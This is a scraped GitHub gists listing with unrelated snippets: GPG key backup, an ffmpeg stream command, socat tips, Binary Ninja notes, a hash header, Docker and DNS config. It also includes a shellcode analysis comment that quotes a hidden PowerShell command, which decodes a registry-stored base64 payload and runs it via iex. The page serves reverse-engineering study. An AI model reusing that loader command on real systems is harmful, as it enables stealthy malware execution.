Skip to content

Instantly share code, notes, and snippets.

Every so often I have to restore my gpg keys and I'm never sure how best to do it. So, I've spent some time playing around with the various ways to export/import (backup/restore) keys.

Method 1

Gotten from the RedHat GPG migration manual

Backup the public and secret keyrings and trust database

## Export all public keys

gpg -a --export >mypubkeys.asc

@ilbaroni
ilbaroni / m3u8-to-mp4.md
Created February 27, 2025 10:17 — forked from tzmartin/m3u8-to-mp4.md
m3u8 stream to mp4 using ffmpeg

1. Copy m3u8 link

Alt text

2. Run command

echo "Enter m3u8 link:";read link;echo "Enter output filename:";read filename;ffmpeg -i "$link" -bsf:a aac_adtstoasc -vcodec copy -c copy -crf 50 $filename.mp4
@ilbaroni
ilbaroni / socat-tips.sh
Created December 10, 2024 10:41 — forked from fsodogandji/socat-tips.sh
socat tips & tricks
#To create a classic TCP listening daemon, similar to netcat -l, use a variation of the following command.
socat TCP-LISTEN:8080 stdout
#use remotly a command shell
socat TCP4-LISTEN:1234,reuseaddr,fork 'SYSTEM:/bin/cat /home/infos.txt'
#sslify a server
socat OPENSSL-LISTEN:443,reuse‐addr,pf=ip4,fork,cert=server.pem,cafile=client.crt TCP4-CONNECT:localhost:80
# Practical and Small Guide to Signature Generation in Binary Ninja
## Motivation
I recently purchased Binary Ninja, and while reversing a very old executable (created about 24 years ago), I realized that it wasn't properly detecting some common MSVC functions.
For example, this is the output in IDA Free:
```call ??2@YAPAXI@Z```
The same line of disassembly is presented by Binary Ninja as:
@ilbaroni
ilbaroni / bn-cheat.md
Created October 9, 2024 13:49 — forked from alexander-hanel/bn-cheat.md
Cheat Sheet for Binary Ninja
@ilbaroni
ilbaroni / hash_fnv1a.h
Created May 29, 2024 17:19 — forked from ruby0x1/hash_fnv1a.h
FNV1a c++11 constexpr compile time hash functions, 32 and 64 bit
#pragma once
#include <stdint.h>
//fnv1a 32 and 64 bit hash functions
// key is the data to hash, len is the size of the data (or how much of it to hash against)
// code license: public domain or equivalent
// post: https://notes.underscorediscovery.com/constexpr-fnv1a/
inline const uint32_t hash_32_fnv1a(const void* key, const uint32_t len) {
@ilbaroni
ilbaroni / docker-compose.yml
Created April 8, 2024 14:41 — forked from ykyuen/docker-compose.yml
docker-container-log-rotation-04
version: '3.2'
services:
nginx:
image: 'nginx:latest'
ports:
- '80:80'
logging:
driver: "json-file"
options:
max-size: "1k"
@ilbaroni
ilbaroni / README.md
Created February 2, 2024 16:11 — forked from zoilomora/README.md
How to disable systemd-resolved in Ubuntu

How to disable systemd-resolved in Ubuntu

Stages

  • Disable and stop the systemd-resolved service:

      sudo systemctl disable systemd-resolved.service
      sudo systemctl stop systemd-resolved
    
  • Then put the following line in the [main] section of your /etc/NetworkManager/NetworkManager.conf:

; shellcode found on Windows host. Payload was stored in the registry. Powershell
; was used to extract it from the registry and execute it:
; C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle \
; hidden -c "$val = (gp HKLM:SOFTWARE\'਀਀').'਀਀'; \
; $d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($val)); iex $d"
; The following references were used to help comment the shellcode
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm
; https://hiddencodes.wordpress.com/2014/11/11/api-hash-list-4/

Keybase proof

I hereby claim:

  • I am ilbaroni on github.
  • I am ilbaroni (https://keybase.io/ilbaroni) on keybase.
  • I have a public key ASBwV7nuN9S5ZS9h68BulBvNfGzHuGBuOuKbHOyMIQBO5Qo

To claim this, I am signing this object: